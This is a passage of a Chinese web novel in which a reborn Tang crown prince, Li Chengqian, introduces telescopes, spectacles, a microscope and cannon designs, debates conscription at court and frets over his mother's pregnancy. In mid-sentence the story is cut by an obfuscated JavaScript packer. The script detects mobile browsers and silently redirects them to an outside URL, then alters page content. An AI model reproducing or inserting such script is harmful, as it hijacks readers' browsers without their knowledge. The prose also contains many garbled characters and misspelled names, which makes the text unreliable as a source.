作为当朝太子,李承乾不能出宫与民同乐,倒是跟着父亲李世民欣赏了少府进上来的各色新灯。 李世民正带着儿女后妃赏灯,看到少府献上的花灯,突然想起一事,对站在身边的李承乾道:“承乾,到朕身边来。昨日少府监来报,你要的透明玻璃,工匠终于制成了。” 李承乾惊喜道:“真的吗?太好了。” 李世民点头,吩咐身边的内侍把之前少府监制成的那副望远镜取来,笑道:“承乾,只怕你盼了好久吧。少府监昨日就把东西送来了,只是当时天色已晚,朕才没有召你过来。” 恰好此时内侍把望远镜装进锦盒里端了过来,李世民将望远镜递给李承乾:“你看看,这是不是你想的那个样子?” 李承乾先仔细端详了望远镜的外观,和他图纸上画得并无不同,又用望远镜试着看向远方,只是此时是晚上,又有燃灯闪烁,此地又非高处,倒看不出什么效果。 李世民笑道:“承乾,你这样看,能看出什么来,登高才能望远。走,阿耶带你到城楼上看。” 李世民带着长子登上城楼,其他人不明所以,被远远地抛在后面。 李承乾用望远镜向长安城看去,一副灯火通明、火树银花之景。他又将望远镜递给父亲。 李世民看着城内花灯如昼的景象,不由叹道:“这才是贞观之始啊。” …… 不过李世民的好心情没有持续太久。 正月十七,节日的氛围还没过去,燕郡王李艺起兵反叛。李世民立刻下令长孙无忌和尉迟敬德率兵讨伐。 23.中男之争 对于燕郡王李艺的反叛,李世民其实并没有太放在心上。 李艺此人原名罗艺,是前隋的将领。此人行军打仗很有本事,但性情暴躁,脑子不太够用。隋末的时候他拥兵自立,统辖幽、营二州。 大唐建立之后,他就投靠唐朝。当时的皇帝李渊把他封为燕王,赐姓李氏,从此改名李艺。 李世民攻打刘黑闼的时候,他出兵帮忙;当时还是太子的李建成攻打刘黑闼,李艺同样出兵帮忙,一来二去李艺就和当时的太子李建成勾搭到了一起。 李艺投靠李唐皇室投靠得早,又在二次打刘黑闼的战争中立下大功劳,所以当时还是皇帝的李渊很看重他,让他镇守泾州。 因为李艺曾经和太子李建成勾勾搭搭,所以对当时还是秦王的李世民很不感冒。为了讨好太子李建成,李艺经常无缘无故殴打李世民派到军营里的人,为此狠狠得罪了当时的秦王李世民。 现在长安传来消息,太子李建成被杀,秦王李世民成了新的大唐皇帝,李艺这个曾经狠狠得罪过李世民的人当然非常害怕。他干脆一不做,二不休,起兵谋反了。 李艺虽然带兵打仗的本领很强,但脑子一般。更重要的是现在天下大定,李艺不可能再像隋末的时候一样集结起太多兵马。 所以对于李艺的这次反叛,李世民更多的是感到晦气。贞观元年,他改元之后的第一年,这都还没出正月呢,李艺就反叛了,这未免也太晦气了。他立刻下旨恢复李艺的本姓罗氏,不许他再姓李。 把尉迟敬德和长孙无忌叫进东宫的时候,李世民虽然对李艺反叛的事郁闷得不行,但还是有心情把少府刚做好的一副望远镜交给他们,让他们行军的时候看看效果如何,有没有什么需要改进的地方。 尉迟敬德把玩着手里的望远镜,问道:“陛下,这就是您之前说的千里镜啊?这儿有我和长孙两个人在呢?陛下只给一副千里镜,未免也太小气了吧。” 李世民险些被他气笑,骂道:“尉迟敬德,你以为这东西这么好做?琉璃匠人烧毁了好多炉,不知道废了多少才把晶莹如冰雪的玻璃烧出来,为了打磨出合适的凹凸二镜也损毁了不少玻璃。朕手上也不过只有两副望远镜。” 长孙无忌从尉迟敬德手里接过望远镜,也在细细把玩,听到李世民手里有两副望远镜,忍不住问道:“那陛下,另一副望远镜呢?” 李世民道:“在太子手上。” “哦。”长孙无忌心中了然,既然另一副望远镜在太子手上,那看来是拿不到了。 李世民带他们俩到城楼上试用了望远镜,教他们学会怎么调整焦距。看着尉迟敬德笨手笨脚的样子,李世民忍不住道:“用的时候小心些,玻璃易碎。” “知道了,陛下。” 李世民站在雄伟的城楼上,看着一片宁静祥和、还处在正月节日氛围里的长安城,正色道:“回长安的时候,记得把罗艺的人头给朕带回来。” 尉迟敬德和长孙无忌两人拱手行礼:“臣等谨遵圣命。” …… 李承乾在得知少府的匠人们能制作出纯净无色的玻璃之后,就画了显微镜和天文望远镜的图纸送去少府,让他们把这两样东西做出来。 又想起之前去太极殿看望阿翁李渊的时候,他有些老花,看不清书上的字,就又画了放大镜和老花镜的图纸送去少府。现在用玻璃做出来的眼镜比较厚,如果李渊嫌弃太重的话,还是用放大镜看书比较好。 显微镜和天文望远镜的结构比较复杂,少府的人一时间做不出来。 倒是放大镜和望远镜,少府的人很快就做了出来,送到了李承乾这里。 李承乾很快就拿上东西去显德殿找到李世民。 显德殿内,因为长孙无忌和尉迟敬德前去平叛罗艺叛乱,必然会导致兵员损失,李世民正和群臣讨论征兵之事,听到太子李承乾求见,便道:“既然如此,那让太子也进来听一听吧。” 刚被封为尚书左丞的魏征心中暗暗纳罕:太子如今不过九岁,还未及冠,陛下居然这么早就打算让太子听政吗? 因为今天并非大朝之日,李承乾原以为阿耶没有朝会,但没想到阿耶找了自己熟悉的大臣开小会。等李承乾反应过来的时候,内侍已经进去通报了,李承乾不得不拿着手里的木盒走进显德殿。 李承乾对于殿内这些大臣倒是不至于陌生,前世都已经相处了十几年,对他们的秉性脾气也有一定的了解。 他走进殿内,先把手里的木盒交给一旁的内侍,才对着阿耶行礼问安。 李世民把他叫到身边,问道:“承乾,朝中正在商议征兵之事。封中书觉得身体魁梧健壮的中男可以一并征发,成为兵员;魏左丞觉得不可征召中男。承乾,你觉得谁的意见是对的?” 唐制规定,民十六为中,二十一为丁,六十为老。朝廷征兵的范围通常是成丁,也就是二十一岁到六十岁之间。至于中男,就是指十六岁以上二十一岁以下的男性,并不在征兵之列。 李世民之所以要征召中男,是因为很多百姓为了逃避兵役,往往会虚报改小自己的年龄,从而躲避兵役。 李承乾问道:“阿耶如今为何要征兵呢?” 李世民笑道:“自然是因为国有战事,前些日子不就发生了罗艺谋反之事?” 李承乾又问道:“阿耶,我不熟悉国中军事。国内兵员的缺口很大,需要征召中男补充兵员吗?” 李世民愣住,继而摇头:“虽然兵员有损,但还没有到如此缺兵的地步。” 李承乾:“那阿耶为什么要征召中男为兵呢?” 李世民道:“承乾,你不知道,有些奸民甚至可恶,为了逃避兵役,会特意改小自己的年龄,实际上他们早就已经是成丁了。朕也并非征召所有中男,只命人征召中男当中体格健硕的人为兵。” 李承乾脸上做出一副担心的样子,问道:“可是,阿耶,人的体质各有差异。就像青雀,虽然年纪只比儿臣小一岁,但已经比儿臣要壮硕得多了。若是有人真的只有十六岁,但因为吃得多所以长得格外壮硕,他本不应该在征兵之列。却因为阿耶怀疑他谎报年龄而被征召入伍,他不是很冤枉吗?” 李世民一时之间没有话说,他确实没办法保证征召的中男各个都是谎报年龄的情况。 魏征作为坚定的反对征召中男的人,见太子站在他这边,立刻建言道:“陛下,太子说的极是。且不说陛下若是征召中男,不知中间会有多少无辜的未成年孩子成为兵员。就算真的有人改小年龄逃避兵役,那也是陛下失信在先,怎么能怪那些说谎的人呢?” 李世民闻言,立刻怒道:“朕向来以诚信治天下,何时失信过?” 魏征答道:“陛下刚刚登基的时候,曾经下诏说,如果百姓有欠官府的税钱,从此以后都不用还了。但是有司对于百姓拖欠秦王府的税物,却还是继续征收。秦王府曾经是陛下的府邸,难道这些欠秦王府的债务,不属于国家债务吗?” 李世民心里暗暗叫苦,他根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14412314|152062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本就不知道这件事。也不知道到底是哪个笨蛋,做事这么一板一眼,死命地抠字眼,他都下诏说不用收那些税物了,那些笨蛋是听不懂人话吗? 魏征的话还没说完,他继续道: “这是陛下做的第一件不诚信的事情。第二件不诚信的事情是,陛下曾经下诏,对关中地区免除两年的租调,关外地区免除一年徭役。但过了不久又下诏说,对于已经纳税和已经服役的百姓,从下一年开始免除赋税徭役。 “按理来说,陛下既然给百姓免除赋税,那从这一年起,若是有已经缴纳赋税的百姓,陛下应该把钱粮还给他们才对,怎么能改口说下一年再免除赋税呢?这难道不是陛下不诚信在先吗?” 李承乾在心中暗道,在古代免税其实是一件很麻烦的事。君王为了显示自己的宽厚给百姓免税,但是免税的政令传到民间需要时间。这个时候小吏已经把赋税收好,不把免税的消息告诉百姓,这部分税款就会被当地的官员贪污瓜分。又或者,小吏把赋税收缴之后,把免税的消息告诉百姓,但对于已经征收的赋税,并不会还给百姓,百姓们只能自认倒霉,没有早点得到免税的消息。 殿内,魏征仍在慷慨激昂:“陛下自己都没有做到诚信,又怎么能怀疑百姓虚报年龄不诚实呢?” 李世民面对这两件事,只能承认确实是自己没有做好,于是当场下令不再征召中男作为兵员,又赐给魏征一只金瓮。 之后李世民又和大臣们讨论其他政事,李承乾站在一边乖乖听着,没有再发表意见。 等到这个临时小会结束,大臣们陆续离开显德殿。 李世民伸了个懒腰,发现李承乾还站在殿内,就把他叫到身边来:“对了,承乾今日来找阿耶,是有什么事吗?” 李承乾叫内侍把带来的木盒放到桌案上,对李世民道:“这是给阿翁准备的礼物,阿耶你来转交吧。” 李世民打开盒子,发现里面是一个放大镜和一个他之前没见过玻璃做的东西。 这东西构造简单,让人一看就知道要怎么用。 李世民把眼镜镜架打开架到鼻子上,向眼前的李承乾望去,只觉得晕的厉害。他连忙给眼镜摘了下来,问道:“这东西是做什么的?” 李承乾道:“之前我去给阿翁请安的时候,发现阿翁有些看不清远处的东西。这东西叫老花镜,戴上它,阿翁就能看清楚了。阿耶现在年轻,视力正常,带上它就会觉得头晕。” 李世民点头笑道:“这东西倒是不错,你阿翁会喜欢的。” 李承乾又道:“我见朝中有不少大臣已经年迈,若是他们也如阿翁一样有老花之症,阿耶也可以给他们赐眼镜。” 李世民问道:“人有远视之症可以用老花镜,若是近处看不到,是不是也有相应的眼镜可用?” 李承乾点头:“那就需要配近视眼镜了。不过因为不同的人近视程度不一样,所以配置起来还需要调整。”李承乾把配近视眼镜的注意事项和李世民仔细讲了一遍。 李世民点头道:“这倒是不错,看来这透明玻璃用处比起硝石,也差不离了。” 听到李世民提起硝石,李承乾不免又想到刚才朝臣小会上商讨的征兵之事。如今虽然国内已经基本安定,但是突厥尚在,只怕过两年阿耶是要对突厥用兵的。 李承乾对李世民道:“阿耶,若是之前说的高炉建成,冶铁技术改进的话,其实阿耶不用征兵太多,可以选择造大炮啊。” 李世民好奇道:“大炮?” 24、显微镜·怀孕 李世民好奇道:"大炮?" 嗯。”李承乾命人取来纸笔,画出红衣大炮子母炮和迫击炮的图纸,“之前尉迟将军伏击突败军队的时候,不是在弓肾上装火药射向突厥车吗?其实大炮的使用用途和装有火药的弓弩类似,但相较于 弓弩,大炮的射程更远,威力更大。” 李承乾向父亲简单描述了大炮的主要结构和攻击原理。 李世民毕竟熟通军事,立刻明白大炮在战场上能发挥的作用。他指着红衣大炮的图纸道:“我看此炮用于攻城,威力大,倒是极为便利。” 李承乾点头:“这类红衣大炮威力虽大,但是实在大重,需要好几匹马才能拉动,不方便移动,机动性不强所以只能用于攻城或者攻击不会移动的物体会。同样若是敌军来犯,也可用于守城。”“相反,子母炮和迫击炮因为属于轻型炮弹,”李承乾指着另外两张图纸,“人力便可拉动,所以更便于野战。”李承乾皱眉:"不过,我其实不太建议阿耶现在就命人造炮。" 李世民疑惑道:“这是为何?” 李承乾耐心解释道:“是现在的金属治炼技术可能还没有达到能造炮的程度,军器监若是不能造出内壁光滑的炮膛,可能会有炸腔的风险,到时候不仅伤不到敌人,反而会危及自身。二是,大唐目前能 充当炮兵的兵员恐怕少之又少。" 李世民奇怪道:“我看这图纸,府兵操作大炮只要会点火和调整角度就够了,怎么会没有可用之人呢?” 李承乾道:“阿耶点火倒是简单,可是敌人就在前方,有多少人知道该怎么调整角度才能精准地打到敌人呢?失之毫压,差之千里。如今大唐擅长精算之人,大多都在太史局,他们忙着推算天文历法。阿耶总不能叫那些人帮您去前线打仗吧。" 李世民笑骂道:“这也不行那也不行,承乾,依我看,你是故意把这图纸画出来馋我的吧。” 李承乾道:“阿耶,我只是帮你提出造炮过程中可能会出现的一些问题。你若真想造炮,自然就要解决这些问题。可以多收些算历博土,也可以在国子监设置算学”。我好心给阿耶出主意,阿耶怎么 还怨我?" 李世民无奈摇头,点了点长子:"承乾,你啊你啊,如今倒是越来越会说了。"长子如今似乎活泼了不少,都学会跟他开玩笑了,李世民心中自然欣慰。 想起他今日在小朝会中的表现,进退有度、对应得体,倒是越来越有一国太子的风采了。李世民道:“承乾,日后的小朝会,你也来旁听吧。” 李承乾一下子愣住,问道:“阿耶,这是不是有些太早了?”前世阿耶让他十二岁听讼,+四岁监国,已经足够早了。这一世他现在才不过九岁,阿耶便让他在旁听政,未免也太早了。 李世民道:“这只是小朝,又不是大朝会,你来听 听,倒也无妨。我前几日听陆德明说,你如今学业大进,他如今已经没有什么可教你的了。我念着他如今年纪大了,将他升为国子博士,也好让他好 好休息几年。除了陆明德之外,你又不喜欢孔颖达。不让你来旁听小朝会,难道让你自己一个人困在屋子里读书吗?” 李承乾惊讶道:“阿耶怎么能说我不喜欢孔颖达?我哪一点不尊重他啦?” 李世民被长子这故作天真的语气笑:“承乾,你觉得你表现得还不够明显吗?每次陆德明来给你上课,你总是恭恭敬敞地把他送到官门出,对其他老师,也多有赏赐之物;唯有对孔颖达,你不但没送过他一次,就算是年节赐礼,也是你母亲帮你添补上的。这难道还不够明显?旁人不会说你这个太子不够尊师重道,毕竟你对其他老师都是以礼相待,旁人只会觉得孔颖达教得不够好。你可知道孔颖达为此羞愧难当,不知向我请辞了多少次?" 李承乾小声嘟囔道:"那他不还是没走吗?" “李承乾!”李世民大声吼道。 李承乾缩了缩脖子,无奈道:“阿耶既然知道我不喜欢他,他也不喜欢我,就该早点放他走才对,何必强行让他侍讲东官,弄得大家都不高兴。您若是念着他旧日跟着您的情分,那让他去教青雀好 了。” “罢了,那便如此吧。”李世民无奈道,“陆德明虽任国子博士,但依旧叫他每句过来给你上课,如何?”李承乾点点头:"那真是辛苦他了。" 李世民笑骂道:“他会如此辛苦,那还不是因为你?好了,承乾,你先回去吧,日后若是开小朝会,我会命人叫你过来的。”李承乾行礼:“多谢阿耶,承乾告退。”李世民无力地摆手:“去吧。” …… 有了李世民的承诺,李承乾不用再把大把的时间花在读书上,就有更多时间来做自己的事了。 …… 过了几日,少府的人将做好的显微镜送了过来。虽然只是最简单的光学显微镜,但也花费了匠人不少功夫,从外观上看起来和现代的显微镜几乎没有什么区别。 李承乾命人从尚食局取了不少蔬果肉鱼回来做成切片,放在显微镜下观察,装片染色之后能看到细胞形态,至于细胞内的结构就有些看不清了。他又命人取了井水回来观察, 能看到明显的草履虫。李承乾松了口气,这就足够了。 他把草履虫和鱼肉中观察的寄生虫用笔仔细记录下来,同时让人召甄权和孙思邈入宫。因为两人此时同在长安为《伤寒杂病论》做校正工作,听到太子传令,倒是很快就进宫了。 进殿之后,等没两人行礼问安,李承乾先免了他们的礼:“两位老先生不必多礼,我有一样东西想先让你们看看。”李承乾先给两人各拿了一个放大镜,让他们观察那些食材的放大效果。 又指着显微编对两人道:“此物的放大效果比放大镜更加厉害,寡人将其名为显微镜。刚才寡人用它观察这些食材,竟然在其中看到了会动的活物。惊异之下,不知其为何物,所以特忘请两位过来解惑。” 李承乾为两人仔细讲了显微镜的用法。 甄权和孙思触对视一眼,开始亲自上手操作。两人不仅观察到了动植物的细胞,还观察到了鱼肉里的寄生虫和水里的草履虫、变形虫,堪称打开了新世界的大门。等到他们观察结束,李承乾追问道:“不知两位老先生可知道,那会动的东西是何物?” 孙思邈看向甄权:“请甄兄先说吧。” 甄权缓了缓神,看向李承乾:"不知太子殿下可曾读过《内经》?" 李承乾摇头:"虽有耳闻,但寡人还未曾读过。" 甄权解释道:“《内经》灵枢篇有言:心肠痛,惯作痛,肿聚,往来上下行,痛有休止,腹热言渴延也者,是蛟药也。前陷巢元方所著《诸病源候论》则称其为长虫。殿下要我等校正的《伤真杂病论》 中则称其为鱿虫。今日殿下与我等在这鱼肉中观察到的虫,只怕就是蛟鲔。若是人吃此鱼,蛟蜻入人身,便会得病。” 李承乾点头:"那可有破解之法?" 甄权道:“此虫怕火,若是以火烤之,以水煮之,将虫灭杀,便无碍了。” 李承乾又问道:“那我们刚才看到的如同草履一般的虫子,又是何物?” 甄权道:"只怕是水中细蛊。若是喝生水,人便容易得病。" 李承乾点头:“所以,依照两位老先生的说法,人不该喝生水、吃生肉?” 甄权道:"若为长久养生之道考虑,自然应该如此。" 李承乾道:“承乾从前读《晋书》,建康城常生疫病,疫病根源何处?也是因为水中细蛊吗?” 孙思邈摇头:“这倒是不然,只怕疫病另有源头。” 李承乾问道:"若是疫病另有源头,找到源头之处,将其灭杀,是否就能控制疫病呢?" 两人点头:“这是自然。” 李承乾拱手道:“承乾今日多谢两位解惑。对了,刻书处已经备好材料,随时可以开始刊印,不知二位的校正之事,完成得如何?” 孙思邈道:"《伤寒杂病论》我等已经校正好,只需再查验两遍,就可以开刻了。" 李承乾脸上露出笑容:“如此便好。我让宫人送两位老先生出去。” 甄权尚且还稳得住,只是孙思邈不舍地看着放在桌案上的那台显微镜,看了一遍又一遍,最后还是忍不住道:“殿下,不知这个显微镜是殿下从何处得来?这世面上可买得到?” 李承乾解释道:“这是少府新进上来的。孙医莫急,这显微镜于我用处不大,等我让阿耶看过之后,就赐二位一台显微镜如何?” 甄权和孙思邈两人立刻惊喜道:“如此,就多谢殿下了。” …… 等到两人离开之后,李承乾命人看了时辰,快到吃午食的时间,就命人拿上显微镜,前往显德殿。李世民此时刚好处理完一上午的政务,正打算吃饭,见李承乾来了,就让他坐下一起用膳。 李承乾看着尚食局的人端上案的菜色,果然有鱼脍。这大冬天的,也真是为难尚食局的人费心思保存活鱼了。 李世民见长子一直盯着那盘鱼脍看,以为他想吃,便劝道:“承乾,如今天天寒地冻,你索来身子又不好,若吃了冷食只怕会肚子疼,让人把那盘鱼脍撤下去吧。”李承乾摇头:"阿耶,我不是想吃那个。算了,吃完饭我再和您说吧。" 李世民不解其意,但也没再多说什么。 两人用完膳,其他菜都撤了下去,李承乾唯独让人留下了那盘鱼脍。 他把今天早上和甄权、孙思邈等人通过显微镜观察生鱼片得到的结果告诉李世民,又把显微镜下的使用方法告诉李世民。李世民闻言大感兴趣,用了那盘鱼脍里的鱼肉放在显微镜下观察,果然观察到了寄生虫。 他不由感叹道:“原来九虫病的源头之一就是鱼脍。” “嗯。”李承乾点头,“所以我想起阿耶下诏全国,禁喝生水、禁吃生食。” 李世民摇头,拍拍长子的肩膀:“承乾,你的想法还是太天真了。朝中官员勋贵为了口腹之欲吃鱼脍暂且不去讨论。你可知小民之家为何要吃生水吗?” 李承乾道:“大概是因为烧火会耗费柴薪,而柴薪难得。” 李世民点头:“正是如此,所以若是直接下诏禁止吃生水生肉,反倒不妥。只能传令州县,让当地官史移风易俗,才是长久之道。” 李承乾追 问道:“阿耶,那宫中吃生水生食之事,总可以禁止吧。”李世民笑道:"这倒是无妨。你阿翁也不爱吃鱼脍,朕直接下令就是。"“对了,承乾,阿耶听说,你是不是还叫少府造了个什么镜,那个是用来做什么的?”“阿耶说的是那个天文望远镜吗?”李承乾道,“那个是晚上用来看星星的。” 李世民惊诧道:"承乾,你的意思是?" 李承乾道:"用它观察星象,太史局的人或许能更加准确地算出日食。" 李世民想起去年武德九年的日食,无奈笑道:“承乾,你还记挂着之前的那次日食呢。不必担心,朕自即位以来,勤勤恳恳,从未有一日懈怠,不会经常发生日食的。” 李承乾用同情的眼光看向父亲,对其他朝代来说或许是对的,但是对贞观朝来说,日食是真的频繁啊。前世阿耶虽然索来不信鬼神,但对日食却颇有一种 敬鬼神而远之''的味道在。贞观前期频繁发生的日食,都快把阿耶给搞麻了。 李承乾忍不住建议道:“阿耶,等到天文望远镜造好之后,您让人把它送到太史局去吧。我记得太史局里有个叫李淳风的人,他能算出日食。” 李世民惊喜道:“朕记得李淳风是由刘文静推荐入秦王府的,他今年不过二十五岁,如此年轻,就能测算出日食吗?” 李承乾点头:"此人还是有几分本事的。" 李世民道:“既然如此,那朕就召 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罗艺吃了败仗,逃出幽州,逃往突厥。罗艺身边的人觉得继续跟着罗艺造反没有前途,就把罗艺杀了,把他的头砍了下来。回程的途中遇到长孙无忌和尉迟敬德率领的大军,就献上罗艺的首级。如今长孙无忌和尉迟敬德等人拿到罗艺的人头,又诛杀了罗艺的弟弟罗寿,正在当地继续处置其他跟着罗艺谋反的手下。于是先写了一封奏报,送回长安给李世民过目。 李世民看完奏报,心下安定,告诉封德彝:“等罗艺的首级传回长安,务必悬首示众,以儆效尤。” 封德彝:"臣遵旨。" 等到封德彝离开之后,李世民看向李承乾:“你阿娘自从知道你舅舅任行军总管出兵平乱之后,就不安得很。承乾,你去把这个消息告诉你阿娘,也好安安她的心。” 李承乾点头:"我知道了阿耶,承乾告退。" …… 李承乾走到丽正殿,却发现太医署的人正站在殿外,对侍奉长孙无音的宫女说着什么。李承乾不免大惊,以为母亲出了什么事,连忙就往寝殿内跑,同时大喊:“阿娘!” 长孙无音此时正坐卧在床上喝药,见李承乾急急忙忙地跑到身边,拿出帕子帮他擦了擦额头上的汗:“承乾,你跑这么急做什么?阿娘没出什么事。”李承乾吓得脸都白了:“那太医署的人来做什么?” “不急不急,看看你头上的汗。”长孙无音一只手帮长子擦汗,一只手温柔地摸着小腹,“阿娘如今有孕,叫他们开了保胎的药,你别怕。”“真的吗?”李承乾努力控制着自己脸上的表情,让自己冷静下来,心里却又惊又慌,怎么会这样? 他记得雉奴前世是贞观二年六月出生的,也就是说阿娘大概是贞观元年八月怀学的。现在不过贞观元年二月,阿娘这个时候怎么会有学?是维奴的出生提前了,还是阿娘肚子里的这个孩子根本就不是雄 奴?又或者阿娘前世的时候曾经流产过,但因为他当时年纪小,没什么印象了? 李承乾伸手,轻轻放在母亲的腹部:“阿娘,他多大了?” 长孙无音笑道:“不过一月有余,你还摸不出胎动呢。” 李承乾咬牙切实:“阿耶还真是厉害!”完全打乱了他的计划。 长孙无音捏着长子的脸,小声骂道:“承乾,不许胡说。” “对了阿娘,阿耶刚刚得到消息,罗艺已经伏诛,舅舅和尉迟将军他们应该很快就会回长安了。”李承乾道。 长孙无音松了口气:“既然如此,我就放心了。”她让人把药碗拿过来继续喝药,喝完药,又让人拿了桌案上的一卷纸来看。 李承乾伸手想把母亲手里的纸抽出来,连忙劝道:“阿娘既然喝了药,就赶紧躺着休息一会儿吧,何必再看这些东西。” 长孙无音握住长子的手:“承乾,你别捣乱。这是三月亲蚕礼的仪程,我还没记熟呢,还得好好记记。” 是了,三月癸巳日,阿娘身为皇后还要举行亲蚕礼,鼓励民间农桑 ,仪程极其复杂,到时候恐怕还要排练几遍,也不知道阿娘现在有孕的身体受不受得了。 正想着,内室突然传来婴儿的啼哭声。 长孙无音放下手里的仪程,穿衣起身往内室走去。 李承乾无奈,只能跟了进去。只见长孙无音站在栏车旁边柔声哄着睡在里面的小婴儿:“六娘怎么哭了呀?是不是饿了?”又让一旁的乳娘给六娘喂奶。 李承乾见状,连忙躲避出去。 阿娘既要照顾六娘,又要准备三月的亲蚕礼,还要处理宫中事务,自己还有孕在身,这么多事,怎么忙得过来?难怪身体会每况愈下。 他看见内殿桌案上还放着没处理完的宫务,干脆另外拿了张纸,写了些批注。 长孙无音走出内室,见李承乾坐在案前提笔写着些什么,不免吓了一跳:“承乾,你别乱来。”等走进了才发现,他并没有直接写在上面,而是另外取了张纸,松了口气,不由问道:“承乾,你这是在 做什么?你看得懂吗?" 李承乾将自己写好的纸交给母亲:“阿娘,应该这样处理,对吧。” 长孙无音仔细看了看,虽然还少些圆滑,但并不算出错,点头赞许。但随即反应过来,立刻道:“承乾,你是太子,怎么能做这种事?” 李承乾叹了口气,强硬道:“阿娘,准备亲蚕礼这段时间你太忙了,会累坏的,你需要好好休息。这些宫务,要么你交给宫中尚宫去办,要么我来帮你批。” “承乾——”长孙无音无奈地抱住长子,心里却软软的,她柔声道,“好,你放心,阿娘会照顾好自己的。若是不重要的事情,阿娘就交给尚宫去办,好不好?” 李承乾看向母亲:“阿娘不许骗我。” 长孙无音笑道:“嗯,一定不骗你。对了,承乾,阿娘听说你阿耶让你在小朝会旁听。怎么样,还习惯吗?” 李承乾点头:"嗯,我觉得我适应得很好,阿娘你别担心。" "那就好。如果有什么听不懂的地方,要记得及时问你阿耶,知道吗?" 李承乾点头:“阿娘,我会的。” 25、岁寿 李承乾带着重重心事回到自己的居所,阿娘的突然怀孕完全打乱了他的计划。 他原本计划印刻完《伤寒杂病论》后将之发行全国,以此邀请天下名医来长安聚首。现在阿娘怀孕的时间提前,他只能请孙思邈和甄权两人每旬入宫,为阿娘诊脉。 他对孕女妇怀孕期间会遇到的问题了解得并不算大多。只知道女性怀孕期间容易缺钙抽筋,要及时补充含钙丰富的食物。唐代目前钙含量丰富的食物有羊乳、细虾 鸡蛋和一些豆制品。需要补充蛋白质不 过宫中羊肉是不缺的。需要补充维生素和纤维素,得看看尚食局有没有为阿娘准备足够的水果。 他原本还想着让少府的人把玻璃蒸馏器烧制出来,方便他萃取茶碱。虽然这个计划还能继续进行,但短时间内是无法确定茶碱对阿娘的治疗效果了。 还有关于阿耶和阿娘的节育问题。 想起这个李承乾又开始生气了。本来他现在年纪还小,身为儿子对父亲提这种要求他也有些不好说出口。他原本想着难奴是贞观二年六月出生的,他还有一年多的时间来慢慢收集数据整理资料,讲事实 摆证据让阿耶克制一点。而且到那个时候他虚岁差不多有十一二岁了,和阿耶说起这种男人间的话题也更方便一点。 谁知道阿娘现在会突然怀孕啊?贞观初年阿耶不是应该很忙吗?他怎么还会有闲心做这种事? 让他想想,前世和今生发生的大事中,最大的区别就是阿耶提前拿下了突厥的故利可汗,至少在对外战争这一块上大唐暂时没有了后顾之忧。难道就是因为这点阿耶才会有闲心去和阿娘亲近?啊可恶, 所以总结到最后变成是他的锅了吗?如果不是他弄出火药,阿耶就不会俘虏两位突厥可汗,也就不会有心思去和阿娘亲近。 啊—— 所以阿娘怀孕的根本原因在于他? 李承乾一脸郁闷,仰面躺在床上。这蝴蝶效应拐得未免也太歪了吧。 王乳娘在外间听到里面李承乾发出的动静,连忙问道:“太子殿下,可是出了什么事情?”自从李承乾册封为皇太子之后,王乳娘就很少称呼他为大郎了。 李承乾出声道:"乳娘,我没事。" 顿了一下,他突然起身道:“传太子令,请民部尚书裴相公入东宫一叙。” 此时的民部尚书就是后来的户部尚书,他亲爱的弟弟李治(难奴)小朋友即位之后,为了避阿耶李世民的讳,就把民部尚书改成了户部尚书。虽然说雉奴小朋友这样做也算是 片孝心吧。但是阿耶李世民即位的时候明明说过,不用为了他的名字“世民二字特意避讳,只要“世”和“民”这两个字不连在起用就行,像是“民部尚书”,只涉及到一个“民”字,根本不用避市。结果阿耶 死,雉奴小朋友刚即位就开始改名,也不知道这傻孩子是不是缺心眼。 不过,这也不能全怪雉奴,毕竟他也是为了表达对阿耶的尊敬。 就像李承乾接下来要接待的这位民部尚书裴矩,他原本的名字叫裴世矩,阿耶当了呈帝之后,他为了避讳,就把自己名字里的“世”字去掉,改名裴矩。阿耶知道之后,也没说让他把名字改回来,看来 阿耶虽然下诏说不用避讳,但对手下人的自动避讳还是很满意的。 这位民部尚书裴矩是隋朝旧臣,和李承乾的外祖父长孙晟一样是搞突厥分裂的好手,归唐之后又在玄武门之变中立下大功,所以被阿耶升为民部尚书。 对于裴矩,李承乾并不敢轻视,命人为他重新换了外衣,亲自到殿门口迎接。 等到裴矩走近李承乾居住的宫殿,他又亲自扶着裴矩走进殿内。 裴矩行礼之后,李承乾给他赐坐。 裴矩道谢之后,不免问道:“不知太子殿下传臣前来,是有何事?” 李承乾道:“寡人想请裴相公手下的人整理一下长安县近十年来的女子生育年龄、子女个数以及女子寿数和子女寿数的情况。” 本来李承乾是想让人统计整个雍洲女性的生育情况的,但想想工作量太大,还是只让人统计长安县的情况好了。 装矩原本以为太子殿下是来要钱的,毕竞大子为了刻书之事动用陛下内库的事已经在朝中传遍了,他这个民部掌管国家财政,别的不多,只有钱多。但没想到太子殿下居然只是想要查问这点小事,这点 事交给他手底下的侍郎去办就是了。 裴矩点头道:“殿下放心,这倒是不难,虽然繁琐了些,但民部的人向来对此也是做惯了的。” 又听说这位太子殿下如今已经在朝中听政,裴矩不免笑道:“看来殿下是知道了陛下打算鼓励民间嫁娶的事,才让老臣统计这些女子生育之事的吧。” 李承乾这才忧惚想起前几日的小朝会,因为店初人口大量减少,阿耶特意鼓励民间嫁娶,男性二十岁以上、女性十五岁以上没有结婚的,由州县提供聘礼嫁娶;穷到没钱结婚的,就让乡间富人和亲成出 资帮助结婚;但对于六十岁以上的鳏夫、五十岁以上的寡妇,有儿子要守节的妇人,不做强硬要求。 李承乾无奈半晌,阿耶这算什么,鼓励民间生 育从朕做起吗? 面对裴矩的提问,李承乾也不太好回答,他拿出自己之前准备好的表格递给裴矩:“还请裴相公手下的人若是将数据统计好,就在整理过后填在这张表上吧。” 裴矩接过表格,就看到表格上按照女子生育的不同年龄段做了不同的分割。他笑道:“这样倒是极为清晰方便。” 李承乾道:"此事要麻烦裴相公了。" 裴矩道:“殿下放心,不过两日的功夫,老臣就命人将这表格送回来。” …… 果然,不过两日的功夫,裴矩就让人把长安县女子生育情况的结果交到了李承乾手上。李承乾仔细看了看拿到手的数据,和他估计的差不多。 